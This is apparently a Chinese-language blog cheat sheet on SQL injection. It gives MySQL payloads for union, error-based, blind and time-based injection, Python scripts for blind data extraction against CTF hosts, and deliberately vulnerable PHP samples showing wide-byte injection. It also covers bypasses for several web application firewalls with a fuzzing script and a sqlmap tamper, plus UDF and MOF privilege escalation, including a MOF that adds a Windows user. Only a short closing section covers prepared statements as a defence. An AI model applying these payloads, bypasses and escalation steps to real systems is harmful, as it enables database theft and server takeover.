0%

SQL注入总结

注入类型

Union Based

最基本的注入类型,以MySQL为例,假设有注入点:

1
2
SELECT * FROM `test` 
WHERE `username`='admin' and `password`='*';

0x01 判断注入点

若原先能够查询到数据:

1
2
admin' and '1'='1'%23    #有数据
admin' and '1'='2'%23 #无数据

若原先查询不到数据:

1
2
admin' or '1'='1'%23    #有数据
admin' or '1'='2'%23 #无数据

若为整数型

1
2
3
4
7 && 1=2 %23
7 && 1=1 %23
7 || 1=2 %23
7 || 1=2 %23

0x02 查询共有多少字段

1
2
3
a' UNION SELECT 1%23 
a' UNION SELECT 1,2%23
a' UNION SELECT 1,2,3%23

…直到正常显示数据为止,或者:

1
2
3
a' ORDER BY 1%23
a' ORDER BY 2%23
a' ORDER BY 3%23

…直到网页报错为止。

0x03 查询库

1
a' union select SCHEMA_NAME,2,3,4,5 from information_schema.SCHEMATA %23

0x04 查询表

1
2
3
a' union select TABLE_NAME,2,3,4,5 from information_schema.TABLES where TABLE_SCHEMA='test' limit 0,1 %23 #第一个表
a' union select TABLE_NAME,2,3,4,5 from information_schema.TABLES where TABLE_SCHEMA='test' limit 1,1 %23 #第二个表
...

0x05 查询字段

1
2
3
a' union select COLUMN_NAME,2,3,4,5 from information_schema.COLUMNS where TABLE_NAME='test' limit 0,1 %23 #第一个字段
a' union select COLUMN_NAME,2,3,4,5 from information_schema.COLUMNS where TABLE_NAME='test' limit 0,1 %23 #第二个字段
...

0x05 查询记录

1
a' union select username,2,3,4,5 from test.test %23

关于注释

  • #可以换成%23
  • --+

Error Based

若有错误回显的情况下可以使用mysql的一些函数,引发错误,mysql报错时会将函数参数的值返回,如:

1549959620738

常用的报错函数有:

  • updatexml()
    updatexml(1,concat(0x7e,(select @@version),0x7e),1)

  • extractvalue()
    extractvalue(1,concat(0x7e,version(),0x7e))

  • floor()
    (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)

  • geometrycollection() 、multipoint() 、polygon()、multipolygon()、linestring()、multilinestring() #5.5以上不适用

    geometrycollection((select * from(select * from(select user())a)b))

  • exp() #5.5以上不适用

    exp(~(select * from(select user())a));

Bool/Time Based (Blind Based)

Bool Based

若原先能够/不能查询到数据,那么若猜测字段正确,那么现在能够/不能查询数据。

若原先能够查询到数据:

1
2
*' and length((database()))<8#
*' and ascii(substring((database()),1,1))=100# 猜测字段

若原先不能查询数据:

1
2
*' or length((database()))<8#
*' or ascii(substring((database()),1,1))=100# 猜测字段

给出exp模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#coding=UTF-8
import requests
result = ''
url = 'http://a3edf37f0d9741c6ad151c8bafbcad60fc11a19cf7f747a9.game.ichunqiu.com/index.php?'
payload = 'id=0 or if((ascii(substr(({sql}),{list},1))<{num}),1,0)'
for i in xrange(0,50):
for j in xrange(32,126):
#hh = payload.format(sql='select database()',list=str(i),num=str(j))
#hh = payload.format(sql='select count(*) from information_schema.tables',list=str(i),num=str(j))
#hh = payload.format(sql='select table_name from information_schema.tables limit 81,1',list=str(i),num=str(j))
hh = payload.format(sql='select * from words.f14g',list=str(i),num=str(j))
#print hh
zz = requests.get(url+hh)
#print zz.content
if 'Hello Hacker!!' in zz.content:
result += chr(j-1)
print result
break

Time Based

那么若猜测字段正确,那么现在延迟一段时间后再返回。

1
*' or if(ascii(substring((database()),1,1))=116, sleep(100), 1);

给出exp模板:

1
2
3
4
5
6
7
8
9
10
11
12
import requests
flag = ''

for i in range(1,33):
for j in '0123456789abcdef':
url = 'http://101.71.29.5:10004/Admin/User/Index?search[table]=flag where 1 and if((ascii(substr((select flag from flag limit 0,1),'+str(i)+',1))='+str(ord(j))+'),sleep(3),0)--'
try:
r = requests.get(url=url,timeout=2.5)
except:
flag += j
print flag
break

其他用到的函数/关键字

  • regexp binary

    and password regexp binary ‘^A’#

  • mid() 同substr

    MID(version(),1,1)

  • ord() 同ascii

堆叠注入

使用;结束上一句查询语句后再执行另一条语句:

1
SELECT * FROM test;select if(1=1,SLEEP(100),1);

非where的注入点

order by注入点

  • Error Based

    order by 1 and(updatexml(1,concat(0x7e,@@version,0x7e),0))

  • Time Based #5.5复现失败

    order by if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test))

  • Bool Based

    order by (select+1+regexp+if(substring(user(),1,1)=0x72,1,0x00))

limit注入点

  • limit 1,1 procedure analyse(extractvalue(1,concat(0x7e,version(),0x7e)),1)

group by注入点

GROUP BY if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test));

table注入点

users where updatexml(1, concat(0x7e, (select user()), 0x7e), 1)#

desc注入点

desc不完全可控和table结合,需要保证desc成功,table报错,只有在desc和table只能有一个含”`”时能注入(都含有或都不含有则无解)

1
2
3
4
5
6
7
8
mysql_connect("localhost","root","xiaoyu");
mysql_query("use b2cshop");
$table = $_GET['table'];
mysql_query("desc `shop_{$table}`") or die("DESC 出错:".mysql_error()); //表名不完全可控
$sql = "select * from shop_{$table} where 1=1";
echo $sql;
var_dump(mysql_fetch_array(mysql_query("$sql")));
echo mysql_error();

1
2
3
?table=users` `where updatexml(1,concat(0x5e24,(select user()),0x5e24),1)#

desc `shop_users` `where updatexml(1,concat(0x5e24,(select user()),0x5e24),1)#`

like 注入点

与where注入类似

1
xxx' and '1'=updatexml(1,concat(0x7e,(select SCHEMA_NAME from information_schema.SCHEMATA limit 1,1),0x7e),1) --+

宽字节注入

产生原因

即使输入时使用了addslashes进行了过滤,但是MySQL的客户端字符集(character_set_client)设置为GBK、BIG5或其他,导致/在解码时被跳脱,例如有如下程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!DOCTYPE html>
<meta charset="gbk">
<?php
$name=$_GET['name'];
$name=addslashes($name); //name被转义

$conn=mysql_connect('127.0.0.1','root','root');
mysql_select_db("test",$conn);
$result=mysql_query("SET NAMES 'GBK'");
$sql="select * from test where username='".$name."'";
$result=mysql_query($sql,$conn);
if($result){
while ($row = mysql_fetch_assoc($result)) {
print_r($row);
}
} else {
echo "Error".mysql_error()."</br>";
}
?>

payload为?name=admin%df%27%20union%20select%201,2%20%23

编码过程
1' ==addslashes==> 1\' (1\x5c\x27)
1%df' ==addslashes==> 1%df\'(1\xdf\x5c\x27) ==encode(gbk)==> 1運' #'逃逸

iconv转换情况

gbk编码转换成utf8时,转换时也会引发错误:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!DOCTYPE html>
<meta charset="gbk">
<?php
$conn=mysql_connect('127.0.0.1','root','root');
mysql_select_db("test",$conn);

$name=$_GET['name'];
mysql_query("set names UTF-8") ;
$bar =iconv("GBK","UTF-8", addslashes($name));

$sql="select * from test where username='".$name."'";
$result=mysql_query($sql,$conn);
if($result){
while ($row = mysql_fetch_assoc($result)) {
print_r($row);
}
} else {
echo "Error".mysql_error()."</br>";
}
?>

payload为admin%e5%5c%27%20union%20select%201,2%20%23(admin%e5\' union select 1,2 #)

编码过程(由于\xe5\x5c转为UTF-8为\xe9\x8c\xa6):

%e5\' (\xe5\x5c\x27) ==addslashes==> %e5\\\' (\xe5\x5c\x5c\x5c\x27) ==iconv==> \xe9\x8c\xa6\x5c\x5c\x27

另外,若编码为BIG5时,payload为1兝\' => 1\xa2\x5c\x5c\x27 => 1?\\'

解决办法

  • 换用utf8字符集

  • 使用mysql_set_charset()设置字符集并且使用mysql_real_escape_string()转义,其会考虑当前字符集所以不会产生逃逸问题:

    mysql_set_charset('gbk');$name=mysql_real_escape_string($name);

绕过

绕过字符

  • 绕过空格

    • %0a(\r)、%0b(\t)、%a0(+)
  • 绕过单引号

    • 编码:Unicode(IIS支持)、Hex
    • 函数:char
    • 宽字节
    • 数字型
  • 绕过union

    • 使用盲注
  • 绕过and/or

    • && / ||
  • substring()

    • mid() left() right()
  • 绕过小括号

    • ?username=admin' and password binary regexp '^A'

绕过ngx_lua_waf

详细请参考Bypass ngx_lua_waf SQL注入防御(多姿势)

HTTP 参数污染(HPP)

1
2
http://192.168.8.147/test/sql.aspx
?id=1 UNION/&ID=/SELECT null,name,null/&Id=/FROM master.dbo.sysdatabases

URI参数溢出

提交100个以上参数:

1
2
3
http://192.168.204.128/test.php

POST:id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1& id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1 union select 1,2,schema_name %0a/*!from*/information_schema.SCHEMATA

MSSQL

1
2
3
http://192.168.204.128/test.aspx

POST:id=1/*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*/ union select null,table_name,null from INFOMATION_SCHEMA.tables

绕过360主机卫士

详细请参考Bypass 360主机卫士SQL注入防御(多姿势)

利用默认白名单

1
/test.php/1.png?id=1 union select 1,2,schema_name from information_schema.SCHEMATA

利用静态资源

1
/test.php/1.png?id=1 union select 1,2,schema_name from information_schema.SCHEMATA

缓冲区溢出

1
id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) union select 1,2,schema_name from information_schema.SCHEMATA

URI参数溢出

同ngx_lua_waf

GET+POST

提交POST请求时,忽略GET请求中的参数

1
2
3
http://192.168.204.132/sql.aspx?id=1 and 1=2 union select 1,column_name,3 from information_schema.columns

POST:aaa

multipart/form-data

1
2
3
4
5
------WebKitFormBoundaryACZoaLJJzUwc4hYM
Content-Disposition: form-data; name="id"
1 union /*!select*/ 1,2,schema_name
from information_schema.SCHEMATA
------WebKitFormBoundaryACZoaLJJzUwc4hYM--

内联注释

直接用fuzz脚本,结合注释、空格绕过和/*!*/进行绕过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
url = "http://test.com/index.php?id=1"
Fuzz_a = [ '/*!', '*/', '/**/', '/', '?', '~', '!', '.', '%', '-', '*', '+', '=']
Fuzz_b = ['']
Fuzz_c = ['%0a', '%0b', '%0c', '%0d', '%0e', '%0f', '%0h', '%0i', '%0j']
FUZZ = Fuzz_a + Fuzz_b + Fuzz_c
# 配置fuzz字典
header = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0'}
sql='union select SCHEMA_NAME,2 from information_schema.SCHEMATA'
sql_arr="/*!{}*/#".format(sql).split()
# 设置请求的headers
for a in FUZZ:
for b in FUZZ:
for c in FUZZ:
for d in FUZZ:
for e in FUZZ:
fuzz_here=a + b + c + d + e
# RAW: PYLOAD = "/*!union" + fuzz_here + "select 1,2*/#"
PYLOAD = fuzz_here.join(sql_arr)
# exit(0)
urlp = url + PYLOAD
res = requests.get(urlp, headers=header)
# 使用for排列组合fuzz字典并请求页面, 因为组合后不一定符合sql语句,所以需要用正常页面特征做判断
if 'wait' in res.text:
print ("[*]URL:" + urlp + u"过狗!")
# 如果返回的页面中包含wait字符,则打印并写出过狗payload。

绕过护卫神

详细请参考Bypass 护卫神SQL注入防御(多姿势)

%00截断

ASPX:

1
/sql.aspx?id=1%00and 1=2 union select 1,2,column_name from information_schema.columns

PHP:

1
/sql.php?id=1/*%00*/union select 1,schema_name,3 from information_schema.schemata

Unicode编码

适用于IIS服务器

1
http://192.168.204.132/sql.aspx?id=1 and 1=2 union s%u0045lect 1,2,column_name from information_schema.columns

HPP

ASPX中接受参数顺序为为GET,POST,COOKIE:

1
2
3
http://192.168.204.132/sql.aspx?id=1 and 1=2 union/*

POST:id=*/select 1,column_name,3 from information_schema.columns

%号

IIS+ASP中解析会去掉%:

1
/sql.asp?id=1 and 1=2 un%ion select 1,2,column_name from information_schema.columns

缓冲区溢出

同360的缓冲区溢出,(Select 0xA*49099)。

绕过安全狗

同360主机卫士的内联注释绕过

分块传输

详见HTTP协议复习分块传输部分

SQLMap Tamper写法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
if payload:
payload=payload.replace("UNION ALL SELECT","union%23!@%23$%%5e%26%2a()%60~%0a/*!12345select*/")
payload=payload.replace("UNION SELECT","union%23!@%23$%%5e%26%2a()%60~%0a/*!12345select*/")
payload=payload.replace(" FROM ","/*!%23!@%23$%%5e%26%2a()%60~%0afrOm*/")
payload=payload.replace("CONCAT","/*!12345CONCAT*/")
payload=payload.replace("CAST(","/*!12345CAST(*/")
payload=payload.replace("CASE","/*!12345CASE*/")
payload=payload.replace("DATABASE()","database/**/()")
return payload

不同用户的权限

MySQL

普通用户有information_schema表的读权限,但没有mysql表的读权限

MSSQL

很复杂,详细看深秋之夜360面试有感

写文件

需要解除secure-file-priv=

1
2
select '文件内容' into outfile '文件路径'
select '文件内容' into dumpfile '文件路径'

提权

用户自定义函数提权(UDF)

获取UDF.dll的hex编码

1
select hex(load_file(%USER%\\Desktop\\udf.dll)) into dumpfile '%USER%\\Desktop\\udf.txt';

保存udf.dll到目标主机

若数据库版本为5.0以下将其保存到C:\Windows\C:\Windows\System32\,否则保存到@@basedir\lib\plugin\

使用select 'xxx' into dumpfile 'C:/MySQL/lib/plugin/::$INDEX_ALLOCATION';新建文件夹(这里我没成功,网上说确实不成功)

1
2
3
CREATE TABLE Temp_udf(udf BLOB);
INSERT into Temp_udf values (unhex('$shellcode')); #$shellcode为hex(udf.dll)
SELECT udf FROM Temp_udf INTO DUMPFILE 'C:/MySQL/lib/plugin/udf.dll';

使用用户函数提权

1
2
3
create function cmdshell returns string soname 'udf.dll';  #此处不能填绝对路径 只能是dll名
select * from mysql.func; #看看cmdshell function是否创立,创立就继续
select hex(cmdshell('whoami')); #运行各种命令提权

mof提权

由于c:/windows/system32/wbem/mof/目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次,因此可以使用dumpfile将shell写入,然后由系统执行(有点像linux的crontab)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user anemone /add\")";
};

instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

上传之后用mysql写文件:

1
select load_file('c:/www/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'

防御——使用预编译语句

预先编译sql,后面的注入语句只能做普通字符串查询,预编译语句不能用于orderby

SQL写法:

  1. 预编译

    1
    prepare ins from 'insert into t select ?,?';
  2. 执行

    1
    2
    3
    set @a=999,@b='hello';
    execute ins using @a,@b;
    select * from t;
  3. 释放

    1
    deallocate prepare ins;

三次交互:

1551840783777

Python写法,python并不支持MySQL的预编译语句(第三方库oursql支持),只是将字符串转义后放到数据库查询:

1
cursor.execute('insert into user (name,password) value (%s,%s)',(name,password))

Java写法,需要开启预编译功能(useServerPrepStmts=true),程序与数据库3次交互prepare->execute->close stmt

1
2
3
4
5
6
7
8
9
10
11
try {
Class.forName(name);//指定连接类型
conn = DriverManager.getConnection(url, user, password);//获取连接
pst = conn.prepareStatement("SELECT * FROM users WHERE `name`=?");//准备执行语句
pst.setString(1,"9ian1i");
rs = pst.executeQuery();
while (rs.next()){
String name = rs.getString("name");
System.out.println(name);
}
}

php写法

1
2
3
4
5
6
7
8
9
10
11
<?php
$name=$_GET['name'];
$mysqli = new mysqli('127.0.0.1','root','root','test');
$mysqli_stmt=$mysqli->prepare("select username, password from test where username=?");
$mysqli_stmt->bind_param('s', $name);
$mysqli_stmt->execute();
$mysqli_stmt->bind_result($username, $password);
while($mysqli_stmt->fetch()){
echo "$username--$password";
}
?>

参考链接